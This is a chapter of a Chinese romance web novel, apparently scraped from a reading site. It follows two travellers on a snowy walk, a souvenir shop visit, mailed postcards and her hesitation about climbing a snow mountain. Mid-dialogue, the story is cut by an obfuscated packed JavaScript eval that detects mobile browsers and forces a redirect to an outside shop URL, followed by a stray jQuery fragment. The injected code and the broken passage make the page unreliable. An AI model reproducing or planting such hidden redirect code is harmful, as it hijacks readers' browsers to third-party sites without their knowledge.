文趣网 > 都市小说 > 小树过冬指南 > 21. 第六颗栗子
    .

    手机在口袋发出震动,很快便归于平静。

    春沓挥手和两小只道别后没选择立马回屋。

    她关上门,站在屋外,手撑在窗棂边,掏出手机解锁。

    【粥粥不爱喝粥】:行程表显示你明天去雪山,我前来慰问一下。

    【粥粥不爱喝粥】:我已经不知道上次吃椰子鸡是什么时候了,最近一直吃轻食,我要变成一只没有灵魂的牛了…

    【面包小树】:你不说我都忘记了,呆在小镇里都有些不愿动弹

    春沓盯着手机半天没等来回应,她按灭屏幕缓缓抬头,无骨似的向后倾斜,指尖没有节奏地敲击墙壁,系的歪歪斜斜的红围巾在一阵一阵风中颤抖。

    视线的终点是雪山的尖尖,云雾缭绕,没有眼镜的加持下一切仿佛都加上了朦胧的滤镜。

    近在眼前却又相隔着数不清的距离。

    雪山似乎无处不在,在她拍摄的背景里,在她每一个抬头的瞬间,在她粗糙攻略的第一条。

    叮叮—

    春沓回过神低头解锁。

    她没有聚焦的眼神,渐渐恢复清明,分散思绪也逐步回笼,再这样思考下去她是真的会想个没完没了的。

    日程提醒-2024.10.25雪山订票

    【粥粥不爱喝粥】:你在辞职前可是天天给我发视频说想去,你记性可没这么差,退缩了这是?

    春沓没有立马回复,揉了揉太阳穴,知道程周周不是好糊弄的主,她随口一说的借口像没气的气球般飞地无影无踪,留下她一个人站在原地不知道该做出何种解释才能顺畅地表达内心。

    “风大怎么还站在门口,一动不动的。当门神呢?”

    暖气从后背席卷,春沓后知后觉地打了个哆嗦:“消食,吃太饱了。”她升了个懒腰,扯了扯围巾,“要加入消食大队吗?”

    “一个人的大队?”

    “一个人也可以是大队,两个人就组成超级大队。”

    春沓拢了拢衣服外套,率先迈出脚步回头:“走吧,小队友。”

    “那…”江遇指了指她单薄的外套,带着一丝不解,“就这么出发吗?”

    “不然...呢。”春沓边说,边不自觉跟随着江遇的视线往下看,她才发现她依旧穿着毛绒睡衣和一双毛绒兔拖鞋,晃动得兔耳朵仿佛在嘲笑她的心神不宁。

    她踢踏着拖鞋,利落地转身,按下把手时小声嘀咕:“等我。”

    一阵熟悉地低笑顺着门的缝隙悄然飘进春沓的耳朵,她动了动耳尖,把睡衣外套的帽子从后背拉起盖住后脑勺,噔噔噔用力地跑回房间。

    -

    沿着民宿后面的小道,浅浅一层雪没过石板路,原本应该是茂密的树林,但是现如今只剩下光秃秃地树干,下午阳光正好,穿过树干打在春沓的侧脸上。

    春沓来这半个月还从来没有注意到这条窄窄的毫不起眼的路线。

    通常来说,显眼的,近在眼前的大路更容易被选择,而隐藏在身后的小径似乎总是被忽视,就像她从来没有特意探望一下这后面是否有路。

    在选择做某件事情时,她也总困在光鲜亮丽的大道上,无论是否合适,能否被自己接受,她还是自以为是的一往无前,从未过问自己是不是还有别的路可走呢,她非这条大道不可吗。

    是不是从一开始她就做错了选择呢。

    “哎呦!”还没等春沓思考出答案,迎面而来的是鼻尖的钝痛,她揉着鼻骨不可置信地连着后退了好几步。

    从一开始两人并排向前走,春沓逐渐落后,一不留神便狠狠地撞上正巧停下脚步的江遇后背上。

    大脑发出疼痛预警,手耷在鼻骨,她抬头皱眉看向手悬在半空迟迟没有落下也没有收回的江遇。

    僵持间春沓开口:“是有什么事情值得你这样哐当一下停住脚步呢?”

    江遇顺势垂下手臂,不自觉地学着她摸着鼻骨,另外一只手指了指铺满雪的小路:“有朵野花,想指给你看,没想到你思考的这么入迷。”

    被倒打一耙的春沓挑高了眉毛:“就算是野花也不能抵消你伤害我高挺鼻子的事实!”

    如果可以,她希望此刻她脑门上大大的感叹号可以被江遇窥见。

    江遇站在野花旁,手撑着膝盖,弯起眼睛说:“那我和你高挺完美的鼻子诚恳地说句抱歉,是我走的太慢,还急刹车,只为了给春大队长看看还在努力开的小花。”

    春沓没忍住上扬一边嘴角,鼓了鼓脸颊,显得没那么刻意,她上前一步略过江遇蹲在花旁,轻触花瓣,雪滴在她指尖,一瞬间冰凉的触感抖地她一激灵。

    “和你的碎花装饰很配。”

    “什么?”

    “你的发圈,是碎花图案的。”

    春沓抬手摸了摸,有些茫然地打开了手机前置摄像头,看着屏幕前她带着的和小花同样颜色同样形状的发圈。

    刚才在房间她胡乱盘起的长发,根本没注意到究竟是哪根发绳被宠幸了。

    “比个耶吧。”江遇忽然地出声,春沓还盯着屏幕发愣,机械地随着他的话抬头撞进另一个镜头中。

    不用看就知道照片中她有多傻,春沓撑着膝盖蹬一下就跳了起来,想抢过手机删掉这新鲜的黑历史。

    “很可爱。”江遇仗着他腿长手长,看着蹦跶不止的春沓,还留有余地当着春沓的面欣赏起新鲜出炉的‘两朵小花’的合照。

    “江遇你站住,删掉啊!!!”春沓在江遇身后左右地来回晃动,奈何她弹跳能力有限,最后累的她只得闷闷地瞪着江遇的后背消气。

    -

    小道的尽头汇入了人流,人来人往热闹的街市一下子涌入春沓眼前。

    “诶?这里有也买纪念品的,去看看吧。”春沓眼尖,一下就发现了藏在中间的小店,率先推门走进。

    店面不大但是布置的很可爱,有一扇折叠的窗户上画着不同表情小雪人的互动。

    她随手拿起陈列架上的明信片,是手绘的凛江禾乡小镇的地图,还有冰箱贴,是可以移动的小雪人的微缩地图。

    成年人不做选择直接都拿下。

    “做的挺精致的。”江遇也拿起来反复欣赏,摆弄着样品的小雪人。

    “你也拿一个吧?今天我买单。”

    春沓霸气地开口,没将刚刚丑照事件算在江遇头上,她今天也依旧是善解人意的形象。

    江遇取过门口的小篮子把她手里的东西一齐放在里面:“那我就笑纳了。”

    “等一下,你要挑选最心仪的一款,你都没仔细欣赏你拿的是那一个。”春沓抬手细细地比较着她手中的两款冰箱贴。

    “有什么区别吗?”

    “对我来说有的,挑选一样的东西时,也会有特别有眼缘的那一件。”

    江遇若有所思地点点头,半蹲下来云里雾里地对比起来,说实话他什么也没比对出来。

    “说实话,我有点好奇。”

    “嗯?”

    “你们艺术生平时作业不都是设

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17514561|203137||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    计这种周边类型的吗,看久了不会丧失购买欲吗”江遇问,“我有个朋友就是这样,以前也很喜欢,但上大学之后购买欲都消减了很多。”

    春沓蹲在角落挑选手机支架的手停住了,思考了半响:“我挺喜欢收集不同设计的周边,想起来确实有点儿奇怪。”

    “还有一点,这是在旅游。个人ip加上当地的特点我会更偏向于这样的纪念品。不是千篇一律的东西更能吸引我。”

    最后她拿着一叠明信片,冰箱贴还有几个手机支架和挂件收尾。看着江遇只拿了一张明信片和一个冰箱贴时,她想这次她又又又买多了。

    “感谢支持。”老板笑着给他们分成了两袋打包,牛皮纸手提袋的设计显得更加精致可爱。

    “可以邮寄明信片对吧?”春沓拿着明信片指了指门口贴着的标识。

    “是的。”

    春沓坐在窗边,一张一张地写完明信片,等墨水干了后,拿出包里刚打印的风景照一同放进了信封。

    江遇看着春沓拿出来一枚硬币也塞进其中一个信封里,没忍住开口询问:“怎么了还放硬币呢。”

    春沓双手合十:“这才不是简单的硬币。”

    封上信封,贴上邮票交给老板后走他们一前一后走出了小店。

    “这还有什么说法吗?”

    “这种比较偏远的地方寄出去的明信片不能保证一定会送到。所以这枚硬币的作用许愿。”

    “许愿?”

    “许愿春沓的明信片可以如约送到朋友家人的手里。”她侧过头看着江遇,“许愿池往往灵的不是池水而是满怀希望手持硬币的人们。这样想的话哪里都可以是许愿池,我的信封也是小小的许愿池。”

    江遇没有从这个角度思考过,他是一个坚定的唯物主义,他的自信来源于他自己的行动力。

    但是此刻,这样迷信的说法却击中了他,他也愿意为了眼前这个天真的理想主义小树而由衷地祈祷她可以如愿以偿。

    室外的风呼呼地吹起春沓耳旁落下的碎发,柔软地像春天的杨柳般摇曳。

    他的心也在此刻变成柳絮飘啊飘没有着落点。

    “那就祝你好运。”江遇低头掩着笑意,抬手接过她手里的袋子和她的那份一并拿了过来。

    “谢谢。”春沓心情愉悦地接收了祝福。

    站在店门口,春沓视线不自觉地偏移至后方的雪山尖尖。

    真是无处不在的冒尖,也无时不刻地提醒她的胆小。

    “雪山很壮观吧,想去看看吗?”

    江遇转换话题过于生硬快速,春沓送去了不解的眼神。

    江遇解释:“你在门口盯了很久的雪山,我以为你是想去看看。毕竟很多人来到这里都是为了上山看看。”

    “啊—”春沓拖长语调,缓慢地跟随上一个脚印一步一步向前走出店门,“是有这个想法,但是真到这一步我又有一点退缩了。”

    “你可能会觉得不可置信,这有什么好犹豫的吧…”

    “我不会。”

    江遇打断了她未说出口的,带着自嘲的言语。

    春沓停住脚步,转身。

    江遇和雪山一同框进她的眼中。

    不知是哪阵风带来的雪花,落在江遇的肩头,她的煽动的睫毛上,每一下都带着水珠,似乎大自然赐予的眼泪。

    “我的意思是,如果你选择留下,我不会觉得有如何不妥,如果你想出发的话,那么—”

    “我想我是一个很好的搭子。”